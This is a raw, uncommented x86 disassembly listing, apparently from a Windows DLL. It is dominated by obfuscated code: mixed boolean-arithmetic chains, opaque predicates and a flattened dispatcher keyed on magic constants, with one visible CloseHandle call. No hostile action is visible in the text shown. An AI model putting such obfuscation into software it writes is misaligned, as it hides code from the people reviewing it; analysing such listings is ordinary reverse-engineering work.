xor dh, dl
or dl, cl
xor dl, 1
or dl, dh
xor dl, 1
or dl, ah
mov cl, dl
xor cl, 1
mov ah, ch
and cl, dl
xor cl, 1
mov dh, dl
xor dh, cl
or cl, dl
xor cl, 1
or cl, dh
xor cl, ch
xor ch, dl
or ah, dl
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
mov edx, ecx
xor dl, 1
and ch, cl
and dl, ah
or dl, ch
or cl, ah
xor dl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ch, dl
xor ch, 1
mov cl, dl
and cl, ch
xor cl, 1
mov dh, dl
xor dh, cl
or cl, dl
xor cl, 1
or ch, cl
mov bl, ch
xor bl, 1
mov ah, bl
and ah, ch
xor bl, ah
xor ah, 1
or ah, ch
xor ah, 1
or ah, bl
mov ch, ah
xor ch, 1
or cl, dh
mov dh, cl
xor dh, dl
or cl, dl
xor cl, 1
or cl, dh
mov dh, cl
xor dh, 1
mov dl, dh
xor dl, ch
and dl, cl
mov bl, ch
or bl, cl
xor dl, 1
mov bh, dl
xor bh, bl
or dl, bl
xor dl, 1
or dl, bh
and cl, ch
or ch, dh
xor ch, 1
and dh, ah
or dh, cl
or dh, ch
mov ah, dh
xor ah, 1
mov cl, ah
and cl, dh
xor ah, cl
xor cl, 1
or cl, dh
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
xor cl, dl
xor dl, 1
or dl, ah
xor dl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, cl
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ecx, edx
xor cl, ah
xor cl, 1
and cl, ah
or ah, dl
xor cl, 1
mov ch, cl
xor ch, ah
or cl, ah
xor cl, 1
or cl, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov ch, al
or ch, cl
mov edx, ecx
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov dh, cl
and dh, al
mov cl, al
xor cl, dl
or dl, al
mov ebx, eax
xor bl, 1
mov al, bl
xor al, ah
and al, bl
and bl, ah
or bl, dh
xor al, 1
xor bl, 1
mov ah, al
xor ah, bl
or bl, al
xor bl, 1
or bl, ah
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov ah, bl
xor ah, al
or al, bl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dh, ch
xor dh, 1
xor dl, 1
or dl, cl
mov cl, dl
xor cl, 1
and cl, ch
or ch, dl
xor ch, 1
and dl, dh
or dl, cl
or dl, ch
mov ch, dl
xor ch, 1
mov dh, dl
or dh, ah
mov cl, al
or cl, ch
mov ebx, ecx
xor bl, dh
or cl, dh
xor cl, 1
or cl, bl
and ch, al
or al, dl
and dl, ah
xor al, 1
or dl, ch
or dl, al
mov ah, dl
xor ah, 1
mov al, cl
xor al, dl
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or dl, cl
mov ecx, eax
xor cl, dl
test dl, 1
mov edi, 0xf22e65d7
mov edx, 0x5b7029c2
cmovne edi, edx
test al, 1
mov eax, 0xf22e65d7
cmove edi, eax
jmp 0x100183dd
cmp edi, 0x899e7b37
jle 0x100183e8
cmp edi, 0x903e9922
jg 0x1001aee7
cmp edi, 0x899e7b38
je 0x10022f4f
cmp edi, 0x8ddfc6c8
jne 0x10011930
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xc8df811a
mov dword [esp + 0x1c], 1
jmp 0x10011930
cmp edi, 0x256c58a2
jg 0x1001af09
cmp edi, 0x183e694d
je 0x10022f59
cmp edi, 0x1d85eb99
jne 0x10011930
cmp byte [esp + 0x35], 0
mov edi, 0x786798cb
mov eax, 0x8ddfc6c8
cmovne edi, eax
jmp 0x10011930
cmp edi, 0xd2e01f3d
jg 0x1001af33
cmp edi, 0xd1836a6d
je 0x10022f70
cmp edi, 0xd18bec70
jne 0x10011930
mov edi, 0x48111fd9
jmp 0x10011930
cmp edi, 0x5c05ee9a
jg 0x1001b9b8
cmp edi, 0x5868cc31
je 0x10022f84
cmp edi, 0x5b7029c2
jne 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov edi, ecx
mov dword [esp], ecx
not edx
mov ecx, edx
mov eax, edx
mov ebp, edx
and eax, 0x14026714
mov edx, edi
and edx, 0xc210806b
or edx, eax
mov esi, edx
xor esi, 0x8062
xor edx, 0x44e2714
or ecx, 0xc612271d
and edx, 0xc65e271d
and esi, 0x1000c062
or esi, edx
and ecx, 0xc65e271d
mov eax, edi
and eax, 0x29a11880
or eax, ecx
xor eax, esi
mov edx, eax
xor edx, 0x29ed1880
xor eax, 0x96102000
and eax, 0x96702800
mov ecx, edx
and ecx, 0x2902c4fd
or ecx, eax
xor ecx, 0x2902c4fd
and edx, 0x408d1302
or edx, ecx
mov esi, edx
mov ebx, edx
xor ebx, 0x408d1302
xor edx, 0x9f400ea6
and edx, ebx
mov edi, edx
not edi
mov eax, edi
and eax, 0x997acee3
and edx, 0x6685311c
or edx, eax
mov ecx, ebp
xor esi, 0x6000004
or ebx, 0x2032e25b
or edi, ebx
and ebx, 0x997acee3
and esi, 0x46851104
or esi, ebx
mov eax, ebp
mov ebx, ebp
mov dword [esp + 8], ebp
xor esi, edx
not edi
or edi, esi
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x2032e25b
and edi, 0xdfcd1da4
or edi, ecx
mov ecx, ebp
xor esi, edi
and esi, edi
or ebp, 0x162d70
mov edi, dword [esp]
mov edx, edi
or edx, 0x201
and edx, 0x162f71
and eax, 0x40c19082
or eax, edx
and ebp, 0x162f71
mov edx, edi
and edx, 0xbf28400c
or edx, ebp
xor edx, eax
mov eax, edx
xor eax, 0x9f1aa056
and ecx, 0xe775574
and edi, 0xf188aa8b
or edi, ecx
mov ecx, edi
xor ecx, 0xf188aa8b
xor edx, 0x60e55fa9
and ecx, edx
xor edi, 0xe775574
and edi, eax
or edi, ecx
xor edx, edi
and edx, edi
mov ebx, esi
not ebx
mov eax, edx
not eax
mov ebp, eax
xor ebp, ebx
and ebp, edx
mov ecx, eax
and eax, 0xce7490bf
mov edi, edx
and edx, 0x318b6f40
or edx, eax
xor edx, ebx
and ebx, 0xcf23d1ca
xor edx, 0x318b6f40
and edx, esi
and esi, 0x30dc2e35
or esi, ebx
xor esi, 0x30dc2e35
and ecx, 0xff1e234d
and edi, 0xe1dcb2
or edi, ecx
xor edi, 0xe1dcb2
or edi, esi
mov esi, ebp
not esi
mov eax, esi
and eax, 0x89f5fdfe
and ebp, 0x760a0201
or ebp, eax
mov eax, edx
not eax
or esi, eax
and eax, 0x89f5fdfe
and edx, 0x760a0201
or edx, eax
xor edx, ebp
not esi
or esi, edx
mov edx, esi
not edx
mov eax, edx
and eax, 0xb362f0c7
mov ecx, esi
xor ecx, 0xb362f0c7
and ecx, esi
or ecx, eax
mov eax, edi
xor eax, 0x4c9d0f38
mov ebp, ecx
xor ebp, ecx
not ebp
and ebp, eax
xor ebp, ecx
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0xb47cbb5e
and edi, 0x4b8344a1
or edi, eax
or ebx, esi
and esi, 0xb47cbb5e
and edx, 0x4b8344a1
or edx, esi
xor edx, edi
not ebx
or ebx, edx
not ebx
or ebx, ebp
mov edx, ebx
not edx
mov eax, edx
and eax, 0x30480000
mov ecx, ebx
and ecx, 0x2000c00
or ecx, eax
xor ecx, 0x2000c00
mov esi, edx
and esi, 0xd125160
or esi, ecx
not esi
mov eax, edx
and eax, 0xd7dfae6a
and ebx, 0x28205195
or ebx, eax
xor ebx, 0xe885f30a
xor edx, ebx
and edx, ebx
mov eax, edx
not eax
xor edx, eax
and edx, esi
or esi, eax
not esi
xor edx, eax
or edx, esi
mov ebx, edx
xor ebx, 0x1f68bf3a
mov edi, edx
xor edi, 0xe09740c5
mov ebp, ebx
xor edx, 0xd484c2b6
and edx, ebx
mov eax, edi
and eax, 0x74e58914
and ebx, 0x8b1a76eb
or ebx, eax
mov esi, dword [esp + 8]
mov dword [esp + 4], esi
not ebx
or ebx, edi
and edi, 0xb28258c
and ebp, 0xc0c45800
or ebp, edi
xor ebp, 0xc0c45800
or edx, ebp
mov eax, edx
xor eax, 0x20138020
xor edx, 0x3a0658c
and eax, 0xe85f9820
and edx, 0x17a067df
or edx, eax
mov eax, edx
xor eax, 0x9cba1134
xor edx, 0x17a067df
and edx, eax
mov eax, edx
not eax
mov edi, eax
or edi, ebx
and eax, 0xd73233df
and edx, 0x28cdcc20
or edx, eax
xor edx, ebx
mov ebx, edx
xor ebx, 0x28cdcc20
xor edx, 0xd73233df
mov eax, edx
and eax, 0x2227e310
and ebx, 0xddd81cef
or ebx, eax
mov ecx, esi
mov ebp, dword [esp]
and dword [esp + 4], ebp
and ecx, 0x1c80650f
mov eax, ebp
and ebp, 0xe37f9af0
or ebp, ecx
not ebp
or ebp, esi
xor ebx, edi
xor ebx, 0xddd81cef
or edx, edi
not edx
or edx, ebx
mov edi, edx
xor edi, 0x8b1a76eb
and esi, 0x5b81d285
and eax, 0xa47e2d7a
or eax, esi
xor eax, 0x400250a
or eax, dword [esp + 4]
mov esi, eax
not esi
or esi, 0x223492c0
and eax, 0xc80040c
and esi, 0x3234f3c3
or esi, eax
mov eax, esi
xor eax, 0xcdcb0c3c
xor esi, eax
xor esi, 0x3234f3c3
and esi, ebp
xor esi, eax
mov ecx, eax
or ecx, ebp
mov ebp, esi
not ebp
mov ebx, ebp
and ebx, 0x622cd681
and esi, 0x9dd3297e
or esi, ebx
or ebp, ecx
and ecx, 0x7eacf78f
xor ecx, esi
xor ecx, 0x1c80210e
not ebp
or ebp, ecx
xor edx, 0x74e58914
mov ecx, edx
and ecx, 0xbd52c5a5
mov esi, edi
and esi, 0x42ad3a5a
or esi, ecx
mov ebx, esi
xor ebx, 0x42ad3a5a
mov dword [esp + 8], ebx
xor esi, 0xbd52c5a5
mov dword [esp], esi
mov ecx, esi
and ecx, 0x1fedfc46
mov esi, ebx
and esi, 0xe01203b9
or esi, ecx
mov ecx, ebp
xor ecx, 0xe37f9af0
mov ebx, ecx
xor ebp, 0x1c80650f
or edx, 0x1a099100
and edi, 0x4b00484
and edx, 0x7b099923
or edx, edi
mov edi, ecx
mov dword [esp + 4], ecx
and ecx, 0x65b00ca7
mov ebx, ebp
and ebx, 0x9a4ff358
or ebx, ecx
mov ecx, ebp
and ecx, 0x55e78b7b
and edi, 0xaa187484
or edi, ecx
xor esi, 0x85a20f1e
or esi, dword [esp]
mov eax, edx
xor eax, 0x61000001
xor edx, 0x84f666dc
mov ecx, esi
or ecx, edx
and edx, 0x908f7a2a
and eax, 0x65300485
or eax, edx
xor eax, esi
not ecx
xor eax, 0x6f7085d5
or eax, ecx
mov dword [esp + 0xc], eax
not ebx
or ebx, dword [esp + 4]
mov edx, ebx
not edx
mov ecx, ebx
and ecx, 0x99064dc3
xor ebx, 0xc1b4203b
and ebx, edx
and edx, 0x66f9b23c
or edx, ecx
xor edx, 0x66f9b23c
mov ecx, edx
and ecx, 0x3e4bdfc4
or ebx, ecx
mov eax, ebx
xor edi, 0x305787dc
or edi, ebp
or edx, edi
mov ecx, edi
mov esi, edi
not edi
xor ecx, 0xc1b4203b
and ecx, edi
or edi, 0xc1b4203b
mov ebx, edi
and ebx, 0x5bb996f4
and esi, 0x24424900
or esi, ebx
mov ebx, ecx
not ebx
or edi, ebx
and ebx, 0x5bb996f4
and ecx, 0xa446690b
or ecx, ebx
xor ecx, esi
not edi
or edi, ecx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, eax
xor ecx, edi
not edx
or edx, ecx
not edx
mov eax, dword [esp + 0xc]
mov edi, eax
xor edi, edx
or edx, eax
not edx
not edi
and edi, eax
or edi, edx
mov edx, dword [esp]
mov ecx, edx
mov esi, dword [esp + 4]
or ecx, esi
not ecx
and edx, 0x6f8f036e
mov ebx, edx
mov edx, dword [esp + 8]
and edx, 0x9070fc91
or edx, ebx
and esi, 0x6f8f036e
and ebp, 0x9070fc91
or ebp, esi
xor ebp, edx
or ebp, ecx
mov esi, ebp
or esi, 0xc2018188
mov edx, ebp
not edx
mov ecx, ebp
xor ecx, 0x34fe7671
and ecx, ebp
mov ebx, ecx
not ebx
and esi, 0xf2fbd5a9
and edx, 0x4042250
or edx, esi
or ebp, ebx
and ebx, 0xf2fbd5a9
and ecx, 0xd042a56
or ecx, ebx
xor ecx, edx
not ebp
or ebp, ecx
not ecx
and ecx, 0xcb01898e
and ebp, 0x34fe7671
or ebp, ecx
mov edx, ebp
not edx
and ebp, 0x8f1d445e
and edx, 0x70e2bba1
or edx, ebp
mov ecx, edx
xor ecx, 0x6054040
xor edx, 0xa0b121
and edx, 0x89b8b53f
and ecx, 0x76474ac0
or ecx, edx
mov eax, ecx
xor eax, 0x76474ac0
mov edx, ecx
xor edx, 0x198101e
and edx, 0x41de58de
xor ecx, 0xccf07335
and ecx, eax
mov ebx, eax
and ebx, 0xbe21a721
or ebx, edx
mov edx, ebx
mov eax, ebx
xor eax, 0x41de58de
mov esi, eax
or esi, 0x4548c60a
xor ebx, 0x22000120
mov ebp, esi
and ebp, 0x99b3a4c7
and ebx, 0x22041930
or ebx, ebp
mov ebp, ecx
not ebp
or esi, ebp
and ebp, 0x99b3a4c7
and ecx, 0x664c5b38
or ecx, ebp
xor ecx, ebx
xor edx, 0xb6008101
not esi
or esi, ecx
mov ecx, eax
and ecx, 0x487d66fe
and edx, 0xb7829901
or edx, ecx
mov ecx, edi
xor edx, edi
or eax, edi
xor edi, 0x103619e1
xor ecx, 0x448060a
and ecx, 0xaec9261e
and edi, 0x5136d9e1
or edi, ecx
xor edi, esi
mov ecx, edi
xor ecx, 0xa8892412
xor edx, 0xb7829901
not eax
or eax, edx
xor edi, 0x5136d9e1
mov edx, edi
and edx, 0x1772436c
and ecx, 0xe88dbc93
or ecx, edx
xor ecx, eax
xor ecx, 0xe88dbc93
or edi, eax
not edi
or edi, ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xb121ec36
and eax, edi
and edi, 0x4ede13c9
or edi, ecx
xor edi, 0x4ede13c9
or edi, eax
mov edx, edi
mov ecx, edi
xor ecx, 0xe7d7fdc1
and ecx, edi
mov eax, edi
or eax, 0x1828023e
not edx
mov esi, eax
and esi, 0x291c7236
and edx, 0xc6c38dc1
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x291c7236
and ecx, 0xd6e38dc9
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xe7d7fdc1
mov edx, eax
xor edx, 0xa
xor eax, 0x668f481a
and eax, ecx
mov esi, ecx
or esi, 0xc854804
and esi, 0x8cddcd54
and edx, 0x100308b
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x8cddcd54
and eax, 0x732232ab
or eax, esi
xor eax, edx
not ecx
or ecx, eax
not eax
and eax, 0x7ea74a24
and ecx, 0x8158b5db
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xfd3dc344
and eax, 0x2c23cbb
or eax, ecx
xor eax, 0xfd3dc344
sete dh
setne cl
cmp dword [0x1004f90c], 0xa
setge bl
setl dl
mov eax, ecx
and al, dl
mov ch, bl
and ch, dh
or ch, al
mov al, ch
xor al, dh
and al, ch
mov bh, ch
xor bh, 1
mov byte [esp], bh
or bh, dl
xor bh, al
and al, bh
xor al, 1
mov ah, al
xor ah, bh
or al, bh
xor al, 1
or al, ah
mov bh, al
or bl, dh
xor bl, 1
or cl, dl
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
xor al, 1
mov bl, al
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
or dl, dh
mov ah, byte [esp]
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov dh, dl
xor dh, 1
mov al, dh
and al, ah
mov bl, ah
or dh, ch
and ch, dl
or ch, al
xor dl, ah
xor dh, 1
or dh, dl
xor dh, 1
or dh, ch
mov ch, dh
xor ch, 1
mov dl, cl
xor dl, 1
mov al, ch
or al, dl
mov ah, dh
xor ah, dl
and ah, dl
xor ah, 1
mov bl, ah
xor bl, al
or ah, al
xor ah, 1
or ah, bl
and dh, cl
or cl, ch
xor cl, 1
and dl, ch
or dl, dh
or dl, cl
xor dl, 1
or dl, ah
mov eax, edx
xor al, 1
mov ah, dl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, dl
mov al, ah
xor al, 1
and ah, al
xor ah, 1
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov dl, ah
xor dl, 1
mov dh, bh
xor dh, 1
mov ch, dh
and ch, bh
xor ch, 1
mov bl, dh
or bl, ch
xor bl, 1
or bh, bl
mov byte [esp], bh
mov al, ah
and al, dl
xor al, 1
mov cl, dl
xor cl, al
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
and cl, al
mov al, cl
xor al, dl
or cl, dl
xor cl, 1
or cl, al
xor cl, 1
or cl, al
mov bh, cl
xor bh, 1
mov dl, bh
and dl, cl
xor dl, 1
or bh, dl
xor ch, dh
mov al, bh
xor al, 1
or ch, bl
mov dh, bh
xor dh, ah
or bh, ah
or ah, al
and dh, al
xor ah, 1
or dh, ah
xor dh, 1
mov al, dh
or al, bh
xor al, 1
xor dh, bh
or dh, al
mov al, ch
xor al, 1
mov ah, al
and ah, ch
xor al, ah
xor ah, 1
or ah, ch
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov ebx, eax
and bl, ah
xor bl, 1
or bl, al
mov ch, dh
xor ch, 1
xor bl, 1
or bl, ah
and ch, dh
xor ch, 1
mov al, ch
xor al, dh
or ch, dh
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov ah, al
and ah, ch
xor ah, 1
or ah, ch
mov bh, byte [esp]
mov ch, bh
xor ch, 1
xor ah, 1
or ah, al
mov al, ah
and al, bl
xor bl, 1
xor ah, 1
and ah, bl
or ah, al
mov al, dl
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov dh, ch
mov bl, bh
and ch, bh
xor ch, 1
mov al, bh
xor al, ch
or ch, bh
xor ch, 1
or ch, al
xor dh, dl
xor ch, dl
mov al, bh
xor al, cl
or cl, bh
xor cl, 1
or cl, al
xor cl, 1
or cl, ch
xor cl, 1
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
xor cl, 1
or cl, al
mov ch, cl
xor ch, 1
mov al, ah
xor al, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov dh, cl
or dh, dl
xor dl, cl
and dl, dh
mov dh, cl
and dh, ch
xor dh, 1
or dh, ch
xor ch, ah
xor dh, 1
or dh, cl
xor dh, al
or al, cl
xor al, 1
or al, ch
xor al, 1
or al, dh
mov ah, al
xor ah, 1
mov ecx, edx
xor cl, 1
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xfe1ba854
mov esi, 0xf22e65d7
cmovne edx, esi
test al, 1
mov edi, edx
mov eax, 0xfe1ba854
cmovne edi, eax
test cl, 1
cmovne edi, edx
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x48], eax
jmp 0x10011930
cmp edi, 0xb150e918
jg 0x1001ccbb
cmp edi, 0xa931900b
je 0x10023bbd
cmp edi, 0xacb67da4
jne 0x10011930
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov esi, ecx
mov edi, ecx
mov ebx, ecx
mov ebp, ecx
not ebx
mov eax, ebx
and eax, 0x5a08f67d
and edx, 0xa5f70982
or edx, eax
mov eax, edx
xor eax, 0xa5340180
and esi, 0x1a7b0abc
mov ecx, ebx
and ecx, 0xe584f543
or ecx, esi
xor ecx, 0xe584f543
or ecx, ebx
mov dword [esp + 4], ebx
xor edx, 0x5a08f67d
mov esi, edx
or esi, ecx
and edx, 0x48cb0e3e
and eax, 0xb734f1c1
or eax, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0xb734f1c1
xor eax, 0x48cb0e3e
mov edx, eax
and edx, 0x4c829b63
and ecx, 0xb37d649c
or ecx, edx
xor ecx, esi
xor ecx, 0xb37d649c
or eax, esi
not eax
or eax, ecx
mov esi, eax
not esi
and eax, 0xd21eead6
mov edx, esi
and edx, 0x2de11529
or edx, eax
mov eax, edx
xor eax, 0x86147af7
and esi, 0x540a9021
or esi, eax
xor edx, 0x810000
mov eax, esi
xor eax, 0xa9f7d5f2
and eax, esi
or esi, 0x56082a0d
mov ecx, esi
and ecx, 0xed7ebf34
and edx, 0x8140c2
or edx, ecx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0xed7ebf34
and eax, 0x128140cb
or eax, ecx
mov ecx, ebp
xor ecx, 0x97e4cdcc
and ecx, ebp
mov dword [esp + 8], ebp
xor eax, edx
not esi
or esi, eax
or edi, 0x681b3233
mov eax, edi
and eax, 0x2663a7bb
mov edx, ebx
and edx, 0x91844844
or edx, eax
mov eax, ecx
not eax
or edi, eax
and eax, 0x2663a7bb
and ecx, 0xd99c5844
or ecx, eax
mov eax, ebp
xor ecx, edx
not edi
or edi, ecx
mov ecx, edi
xor ecx, 0x3c11a212
mov edx, ebx
and edx, 0xf0002cfc
and eax, 0xfffd303
or eax, edx
mov edx, eax
xor eax, 0xf0002cfc
and eax, ecx
mov ecx, esi
xor ecx, 0x56082a0d
xor esi, 0xa9f7d5f2
xor edx, 0xfffd303
xor edi, 0xc3ee5ded
and edx, edi
or eax, edx
not eax
or eax, edi
mov edx, eax
and edx, esi
mov edi, eax
not edi
and edi, ecx
or edi, edx
mov edx, edi
xor edx, esi
and edx, edi
and esi, 0x7a6f8c95
and ecx, 0x8590736a
or ecx, esi
mov edi, eax
xor edi, 0x84103220
xor eax, 0x24a0805
and eax, 0x3ca494f
and edi, 0xfc35b6b0
or edi, eax
xor edi, ecx
mov eax, edi
xor eax, 0x3ca494f
mov esi, edi
xor edi, 0x62fd45c8
mov ecx, edi
and edi, eax
mov eax, edx
not eax
xor esi, 0xfc35b6b0
and ecx, esi
or edi, ecx
mov ebx, edx
or ebx, 0x1a00b310
and ebx, 0x5a27bf12
mov ecx, eax
and ecx, 0x21100085
or ecx, ebx
or esi, eax
or eax, 0x40270c02
xor ecx, edi
and eax, 0x5a27bf12
and edx, 0x84c84068
or edx, eax
xor edx, ecx
mov edi, edx
not edi
mov eax, edi
and eax, 0xa75d0988
and edx, 0x58a2f677
or edx, eax
xor edx, esi
xor edx, 0x58a2f677
or edi, esi
not edi
or edi, edx
mov esi, edi
not esi
mov eax, edi
or eax, 0x542308aa
mov ecx, esi
or ecx, 0x800c8500
and eax, 0xd42f8daa
mov edx, esi
and edx, 0x2bd01241
or edx, eax
and ecx, 0xd42f8daa
and edi, 0x6014
or edi, ecx
xor edi, edx
mov ebx, edi
xor ebx, 0x368a0
xor edi, 0x83948041
and edi, 0xd7b4805f
and ebx, 0x284b7fa0
or ebx, edi
mov ebp, ebx
xor ebp, 0x84078a0
mov ecx, ebx
xor ecx, 0x18
mov eax, ebp
or eax, 0xd3a30700
and eax, 0xdbf7d721
and ecx, 0x2898
or ecx, eax
mov edi, ecx
xor edi, 0x240828de
mov dword [esp + 0xc], edi
xor ecx, 0xdbf7d721
mov dword [esp], ecx
mov eax, ecx
or eax, 0x448028
and eax, 0x44b8a9
and edi, 0xd180300
or edi, eax
or ebp, 0xc0803881
xor ebx, 0x10
and ebp, 0xc0c4b8a9
and ebx, 0x4010
or ebx, ebp
or esi, 0x854f8b9
mov eax, esi
xor eax, 0x3267c47c
mov ebp, eax
and ebp, esi
mov ecx, esi
mov dword [esp + 0x10], esi
mov edx, ebp
not edx
mov esi, edx
and esi, 0x1cd4452
and ebp, 0xf6320385
or ebp, esi
mov esi, ecx
not esi
and eax, esi
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0x9cd7c52
and eax, 0xf6220304
or eax, ecx
xor eax, ebp
not edx
or edx, eax
xor edx, ebx
xor edx, edi
mov edi, dword [esp]
mov eax, edi
and eax, 0x48038
mov ecx, dword [esp + 0xc]
and ecx, 0x4c5b78c3
or ecx, eax
mov eax, ecx
or edi, esi
and esi, 0xb3a00704
mov ebx, dword [esp + 0x10]
and ebx, 0x4c5b78c3
or ebx, esi
mov ecx, dword [esp + 8]
mov esi, ecx
xor esi, 0x8f178b99
and esi, ecx
xor edx, 2
xor ebx, eax
not edi
or edi, ebx
not edi
or edi, edx
mov eax, edi
mov ebp, edi
xor eax, 0x5c5e6899
mov edx, dword [esp + 4]
and edx, 0xc000801
and ecx, 0x83178398
or ecx, edx
xor ecx, 0x83178398
or esi, ecx
mov edx, esi
xor edx, 0x60680464
xor esi, 0xf168808
and esi, 0x1f96f80a
and edx, 0xe06907f5
or edx, esi
mov ecx, edx
xor ecx, 0xa0680111
xor edx, 0x1f921800
and edx, 0x5f931ee4
and ecx, 0xa06ce11b
or ecx, edx
mov edi, ecx
xor edi, 0xb120460
xor ecx, 0x606010
and ecx, 0x54e17a94
and edi, 0xab1e856b
or edi, ecx
mov esi, edi
xor esi, 0x8a0e0162
xor edi, 0x40c14a90
and edi, 0x61d1ce99
and esi, 0x9e2e3166
or esi, edi
mov edi, esi
xor edi, 0x61d1ce99
xor ebp, 0xa3a19766
mov edx, eax
and edx, 0xcb3a4ea3
mov ecx, ebp
and ecx, 0x34c5b15c
or ecx, edx
xor esi, 0x9e2e3166
mov edx, esi
and edx, 0x79b4495e
mov ebx, edi
and ebx, 0x864bb6a1
or ebx, edx
mov edx, ecx
xor edx, 0x441b000
xor ecx, 0x49304802
and ecx, 0x79b4495e
and edx, 0x864bb6a1
or edx, ecx
xor edx, ebx
mov ecx, edx
xor ecx, esi
and ecx, edx
mov edx, esi
and edx, 0xf4f56256
and esi, edi
and edi, 0xb0a9da9
or edi, edx
xor edi, 0xb0a9da9
or edi, esi
mov edx, eax
and edx, edi
not edi
mov dword [esp], ebp
and edi, ebp
or edi, edx
mov esi, edi
xor esi, ebp
and esi, edi
mov ebx, esi
not ebx
mov ebp, esi
xor ebp, 0x263a40f5
mov edx, ebp
and edx, ebx
and ebp, esi
or ebp, edx
mov edx, esi
and edx, 0xa2d01fc1
and ebx, 0x5d2fe03e
or ebx, edx
mov edx, ecx
xor ebx, ecx
or esi, ecx
xor ecx, 0x24020071
xor edx, 0xd1812600
and edx, 0xd3b96684
and ecx, 0x2c46997b
or ecx, edx
mov edi, dword [esp]
and edi, eax
xor ecx, ebp
mov ebp, ecx
xor ebp, 0xd3b96684
xor ebx, 0x5d2fe03e
not esi
or esi, ebx
xor ecx, 0x2c46997b
mov edx, ecx
and edx, 0x18d79f5c
and ebp, 0xe72860a3
or ebp, edx
mov edx, esi
not edx
or ecx, esi
and esi, 0x18d79f5c
and edx, 0xe72860a3
or edx, esi
xor edx, ebp
not ecx
or ecx, edx
mov edx, dword [esp]
and edx, 0xed5653aa
and eax, 0x12a9ac55
or eax, edx
mov edx, eax
xor edx, 0x2288444
xor eax, 0xed5653aa
mov esi, edi
not esi
mov ebx, eax
and ebx, 0xddd13911
and edx, 0x222ec6ee
or edx, ebx
or eax, esi
and esi, 0xddd13911
and edi, 0x222ec6ee
or edi, esi
xor edi, edx
not eax
or eax, edi
mov edx, ecx
not edx
mov edi, edx
and edi, 0x2149473
mov esi, ecx
and esi, 0x9420b80
or esi, edi
mov ebx, esi
xor ebx, 0x9000380
xor esi, 0xf6bdf47f
mov edi, ecx
xor edi, 0xb569ff3
and edi, ecx
mov ebp, esi
and ebp, 0xc6d7e801
and ebx, 0x90017f2
or ebx, ebp
mov ebp, edi
not ebp
or esi, ebp
and ebp, 0xc6d7e801
and edi, 0x392817fe
or edi, ebp
xor edi, ebx
not esi
or esi, edi
mov edi, eax
not edi
and edi, eax
xor eax, 0xb569ff3
xor edi, eax
mov eax, edi
xor eax, edi
not eax
and eax, esi
xor eax, edi
and edx, 0x94bca261
and ecx, 0x6b435d9e
or ecx, edx
mov edx, ecx
xor edx, 0x6b435d9e
xor ecx, 0x94bca261
and ecx, eax
not eax
and edx, eax
or ecx, edx
xor eax, ecx
test eax, ecx
sete byte [esp]
setne ah
cmp dword [0x1004f90c], 0xa
setge dl
setl ch
mov bl, ch
inc bl
mov cl, bl
and cl, ch
xor cl, 1
mov dh, ch
or dh, cl
xor dh, 1
mov bh, bl
xor bh, cl
or cl, bl
or bl, ch
or bl, dh
mov dh, bl
xor dh, 1
xor cl, 1
or cl, bh
mov bh, cl
xor bh, 1
and bh, cl
mov al, bh
xor al, dl
xor al, 1
mov cl, al
and cl, bh
xor cl, 1
or bh, dl
or cl, al
xor cl, 1
or cl, bh
mov bh, cl
xor bh, 1
and dh, bh
or bh, bl
and cl, bl
or cl, dh
xor cl, 1
mov al, cl
xor al, bh
xor al, 1
or cl, bh
mov dh, al
xor dh, cl
or cl, al
xor cl, 1
or cl, dh
mov dh, cl
xor dh, 1
mov ebx, ecx
and bl, dh
xor bl, 1
or bl, dh
xor bl, 1
or bl, cl
mov al, ah
xor al, bl
xor bl, 1
or bl, ah
mov bh, bl
xor bh, al
or bl, al
xor bl, 1
or bl, bh
xor bl, 1
xor dh, cl
xor dh, ah
and dh, cl
mov al, dh
xor al, 1
mov cl, bl
xor cl, al
or al, bl
xor al, 1
mov bh, dh
xor bh, bl
and bh, bl
or bh, al
or dh, bl
xor dh, 1
xor cl, 1
or cl, dh
mov al, cl
xor al, 1
mov dh, bh
xor dh, cl
and dh, bh
and cl, bh
xor bh, 1
and bh, al
or cl, bh
xor dh, 1
xor cl, 1
mov al, dh
xor al, cl
or cl, dh
mov dh, dl
xor dh, ah
